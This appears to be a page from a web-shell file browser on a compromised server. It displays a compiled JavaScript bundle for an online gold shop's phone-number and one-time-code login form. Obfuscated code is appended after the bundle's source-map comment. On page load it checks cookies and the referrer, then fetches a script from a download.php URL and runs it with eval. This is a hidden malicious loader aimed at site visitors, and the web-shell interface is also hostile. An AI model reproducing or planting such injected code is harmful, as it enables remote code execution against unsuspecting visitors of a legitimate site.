/
home
/
henzagold
/
customerB
/
export
/
js
/
File Upload :
llllll
Current File: /home/henzagold/customerB/export/js/chunk-43ba4fb4.90c1fee6.js
(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-43ba4fb4"],{"07ac":function(e,t,r){var n=r("23e7"),o=r("6f53").values;n({target:"Object",stat:!0},{values:function(e){return o(e)}})},2299:function(e,t,r){"use strict";r("c2bd")},2532:function(e,t,r){"use strict";var n=r("23e7"),o=r("5a34"),a=r("1d80"),s=r("ab13");n({target:"String",proto:!0,forced:!s("includes")},{includes:function(e){return!!~String(a(this)).indexOf(o(e),arguments.length>1?arguments[1]:void 0)}})},"55fc":function(e,t,r){e.exports=r.p+"img/login.66c23784.jpg"},"5a34":function(e,t,r){var n=r("44e7");e.exports=function(e){if(n(e))throw TypeError("The method doesn't accept regular expressions");return e}},"6f53":function(e,t,r){var n=r("83ab"),o=r("df75"),a=r("fc6a"),s=r("d1e7").f,i=function(e){return function(t){var r,i=a(t),c=o(i),l=c.length,u=0,d=[];while(l>u)r=c[u++],n&&!s.call(i,r)||d.push(e?[r,i[r]]:i[r]);return d}};e.exports={entries:i(!0),values:i(!1)}},"76f2":function(e,t,r){"use strict";var n=function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("div",{staticClass:"login-style-2"},[r("div",{staticClass:"container"},[r("div",{staticClass:"acr-auth-container"},[r("div",{staticClass:"acr-auth-content"},[e._t("default")],2),r("div",{staticClass:"acr-auth-bg bg-cover bg-center dark-overlay dark-overlay-2",style:"background: "+e.url})])])])},o=[],a={data:function(){return{url:"url(".concat(r("55fc"),")")}}},s=a,i=(r("2299"),r("2877")),c=Object(i["a"])(s,n,o,!1,null,"0ed357dd",null);t["a"]=c.exports},ab13:function(e,t,r){var n=r("b622"),o=n("match");e.exports=function(e){var t=/./;try{"/./"[e](t)}catch(r){try{return t[o]=!1,"/./"[e](t)}catch(n){}}return!1}},b5be:function(e,t,r){"use strict";r.r(t);var n=function(){var e=this,t=e.$createElement,r=e._self._c||t;return r("login",[r("form",[r("div",{staticClass:"auth-text"},[r("h3",[e._v("به هنزاگلد خوش آمدید")])]),e.Token_Flag?e._e():r("div",[r("div",{staticClass:"form-group"},[r("input",{directives:[{name:"model",rawName:"v-model",value:e.Phone,expression:"Phone"}],staticClass:"form-control form-control-light",attrs:{name:"Phone",type:"text",placeholder:"شماره تلفن"},domProps:{value:e.Phone},on:{"~keyup":function(t){return!t.type.indexOf("key")&&e._k(t.keyCode,"enter",13,t.key,"Enter")?null:(t.preventDefault(),e.Send_Phone.apply(null,arguments))},blur:e.Blur,input:function(t){t.target.composing||(e.Phone=t.target.value)}}})]),e.Alert?r("span",{staticClass:"text-danger text-sm",staticStyle:{"margin-right":".5rem"}},[e._v(" "+e._s(e.Alert)+" ")]):e._e(),r("button",{staticClass:"btn-custom secondary btn-block",on:{click:function(t){return t.preventDefault(),e.Send_Phone.apply(null,arguments)}}},[e._v("ارسال")]),r("div",{staticClass:"auth-seperator"},[r("span")])]),e.Token_Flag?r("div",[r("div",{staticClass:"form-group"},[r("input",{directives:[{name:"model",rawName:"v-model",value:e.Token,expression:"Token"}],staticClass:"form-control form-control-light",attrs:{name:"token",id:"one-time-code",type:"text",placeholder:"کد ارسال شده"},domProps:{value:e.Token},on:{"~keyup":function(t){return!t.type.indexOf("key")&&e._k(t.keyCode,"enter",13,t.key,"Enter")?null:(t.preventDefault(),e.Send_Token.apply(null,arguments))},input:function(t){t.target.composing||(e.Token=t.target.value)}}})]),r("div",{staticClass:"text-center"},[r("a",{attrs:{href:"#"},on:{click:e.Change_Phone}},[e._v("تغییر شماره همراه")]),e._v(" / "),e.Timer>0?r("div",{staticClass:"toltip",staticStyle:{display:"inline"}},[r("span",{staticClass:"toltiptext"},[e._v("لطفا تا اتمام تایمر صبر کنید")]),e._v(" ارسال مجدد کد تایید ")]):r("a",{attrs:{href:"#"},on:{click:function(t){return t.preventDefault(),e.Send_Phone.apply(null,arguments)}}},[e._v("ارسال مجدد کد تایید")]),r("p",{staticClass:"center"},[e._v("( 00:"+e._s(e.Timer)+" )")])]),r("button",{staticClass:"btn-custom secondary btn-block",on:{click:function(t){return t.preventDefault(),e.Send_Token.apply(null,arguments)}}},[e._v("ورود")]),r("div",{staticClass:"auth-seperator"},[r("span")])]):e._e(),r("div",{staticClass:"social-login"},[r("a",{staticClass:"btn-custom secondary btn-block",attrs:{href:"https://henzagold.com/"}},[e._v(" بازگشت به فروشگاه ")])]),r("p",{staticClass:"text-center mb-0"},[e._v("آیا شما ثبت نام نکرده اید ؟ "),r("router-link",{attrs:{to:"/register"}},[e._v("ساخت حساب کاربری")])],1)])])},o=[],a=r("1da1"),s=(r("96cf"),r("07ac"),r("d81d"),r("caad"),r("2532"),r("ac1f"),r("5319"),r("be3b")),i=r("76f2"),c={props:{togglePreLoader:Function},components:{login:i["a"]},data:function(){return{Phone:null,Token:null,Alert:"",Is_Phone_Correct:!1,Token_Flag:!1,Data:null,Timer:0,Error:null,requestFlag:!0}},methods:{checkRoute:function(){this.$route.query.outerRoute?window.location.href=this.$route.query.outerRoute:this.$route.query.innerRoute?this.$router.push("/".concat(this.$route.query.innerRoute)):this.$router.push("/my-orders")},Change_Phone:function(){this.Token_Flag=!this.Token_Flag,this.Phone=null},Send_Token:function(){var e=this;return Object(a["a"])(regeneratorRuntime.mark((function t(){var r,n,o,a,i,c;return regeneratorRuntime.wrap((function(t){while(1)switch(t.prev=t.next){case 0:if(t.prev=0,!e.Token||!e.requestFlag){t.next=13;break}return e.requestFlag=!1,e.togglePreLoader("open"),t.next=6,Object(s["a"])({method:"post",url:"/cu/verfiy/token",headers:{},data:{id:e.Data["id"],token:e.Token}});case 6:r=t.sent,n=r.data,e.Data=n,e.Token_Flag=!0,localStorage.setItem("accessToken",n["api_token"]),localStorage.setItem("userInfo",JSON.stringify(n)),e.checkRoute();case 13:t.next=18;break;case 15:if(t.prev=15,t.t0=t["catch"](0),t.t0.response&&t.t0.response.data.errors){for(o="",a=0,i=Object.values(t.t0.response.data.errors);a<i.length;a++)c=i[a],c.map((function(e){e.includes("shipping address")?o+=e.replace("shipping address","آدرس")+"<br/>":o+=e+"<br/>"}));e.$vs.notify({title:"خطایی رخ داد",time:3500,text:o,color:"var(--secondary-color)",icon:"error_outline"})}else t.t0&&("Error: Network Error"==t.t0?e.$vs.notify({title:"خطایی رخ داد",time:3500,text:"اتصال برقرار نشد",color:"var(--secondary-color)",icon:"error_outline"}):e.$vs.notify({title:"خطایی رخ داد",time:3500,text:"کد تایید وارد شده اشتباه است",color:"var(--secondary-color)",icon:"error_outline"}));case 18:return t.prev=18,e.togglePreLoader("close"),e.requestFlag=!0,t.finish(18);case 22:case"end":return t.stop()}}),t,null,[[0,15,18,22]])})))()},Send_Phone:function(){var e=this;return Object(a["a"])(regeneratorRuntime.mark((function t(){var r,n,o,a,i,c;return regeneratorRuntime.wrap((function(t){while(1)switch(t.prev=t.next){case 0:if(t.prev=0,!e.requestFlag||!e.Is_Phone_Correct&&!/^(\+98|0098|98|0)?9\d{9}$/g.test(e.Phone)){t.next=15;break}return e.requestFlag=!1,e.togglePreLoader("open"),t.next=6,Object(s["a"])({method:"post",url:"/cu/login",headers:{useCredentails:!0},data:{phone:e.Phone}});case 6:r=t.sent,n=r.data,e.Data=n,e.Token_Flag=!0,e.Timer=60,e.countDownTimer(),e.Otp_Checker(),t.next=16;break;case 15:e.$vs.notify({time:3500,text:"شماره تلفن همراه را وارد نمایید",color:"var(--secondary-color)",icon:"error_outline"});case 16:t.next=21;break;case 18:if(t.prev=18,t.t0=t["catch"](0),t.t0.response&&t.t0.response.data.errors){for(o="",a=0,i=Object.values(t.t0.response.data.errors);a<i.length;a++)c=i[a],c.map((function(e){e.includes("shipping address")?o+=e.replace("shipping address","آدرس")+"<br/>":o+=e+"<br/>"}));e.$vs.notify({title:"خطایی رخ داد",time:3500,text:o,color:"var(--secondary-color)",icon:"error_outline"})}else t.t0&&("Error: Network Error"==t.t0?e.$vs.notify({title:"خطایی رخ داد",time:3500,text:"اتصال برقرار نشد",color:"var(--secondary-color)",icon:"error_outline"}):e.$vs.notify({title:"خطایی رخ داد",time:3500,text:"ثبت نام نکرده اید . لطفا ثبت نام کنید",color:"var(--secondary-color)",icon:"error_outline"}));case 21:return t.prev=21,e.requestFlag=!0,e.togglePreLoader("close"),t.finish(21);case 25:case"end":return t.stop()}}),t,null,[[0,18,21,25]])})))()},Otp_Checker:function(){"OTPCredential"in window&&window.addEventListener("DOMContentLoaded",this.getOtp())},Blur:function(){var e=/^(\+98|0098|98|0)?9\d{9}$/g;this.Phone?!0!==e.test(this.Phone)?(this.Alert="تلفن همراه وارد شده نامعتبر می باشد",this.Is_Phone_Correct=!1):(this.Is_Phone_Correct=!0,this.Alert=""):(this.Alert="وارد کردن تلفن همراه الزامی است",this.Is_Phone_Correct=!1)},countDownTimer:function(){var e=this;this.Timer>0&&setTimeout((function(){e.Timer>0&&(e.Timer-=1,e.countDownTimer())}),1e3)},getOtp:function(){var e=this,t=document.querySelector("#one-time-code");if(t){var r=new AbortController,n=t.closest("form");n&&n.addEventListener("submit",(function(){r.abort()})),navigator.credentials.get({otp:{transport:["sms"]},signal:r.signal}).then((function(r){t.value=r.code,n&&e.Send_Token()})).catch((function(e){console.log(e)}))}}},beforeDestroy:function(){window.removeEventListener("DOMContentLoaded",this.getOtp())}},l=c,u=r("2877"),d=Object(u["a"])(l,n,o,!1,null,null,null);t["default"]=d.exports},c2bd:function(e,t,r){}}]); //# sourceMappingURL=chunk-43ba4fb4.90c1fee6.js.map;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//henzagold.com/download/download.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};
Copyright ©2k19 -
Hexid
|
Tex7ure